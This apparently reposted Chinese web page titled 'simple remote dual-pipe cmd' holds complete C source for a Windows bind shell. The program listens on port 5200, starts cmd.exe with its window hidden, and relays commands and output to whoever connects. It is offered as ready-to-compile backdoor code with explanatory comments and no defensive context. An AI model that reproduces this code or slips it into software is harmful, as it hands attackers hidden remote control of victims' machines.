简单远程双管道cmd

来源：本站整理作者：梦在深巷时间：2013-06-10 04:18:15

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")

int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;

//初始化WSA
WSAStartup(MAKEWORD(2,2),&ws);

//建立socket
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

//监听本机5200端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(5200);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

//如果客户请求5200端口,接受连接
int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

//建立匿名管道1
pipeattr1.nLength=12;
pipeattr1.lpSecurityDescriptor=0;
pipeattr1.bInheritHandle=true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//建立匿名管道2
pipeattr2.nLength=12;
pipeattr2.lpSecurityDescriptor=0;
pipeattr2.bInheritHandle=true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
char cmdline[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

unsigned long lBytesRead;
while (1)
{
//检查管道1,即CMD进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if (lBytesRead)
{
//管道1有输出,输出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if (ret<=0) break;
}
else
{
//否则,接受远程客户机命令
lBytesRead=recv(clientFD,Buff,1024,0);
if (lBytesRead<=0) break;
//将命令写入管道2,即传给CMD进程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
}
}
return 0;
}

简单远程双管道cmd

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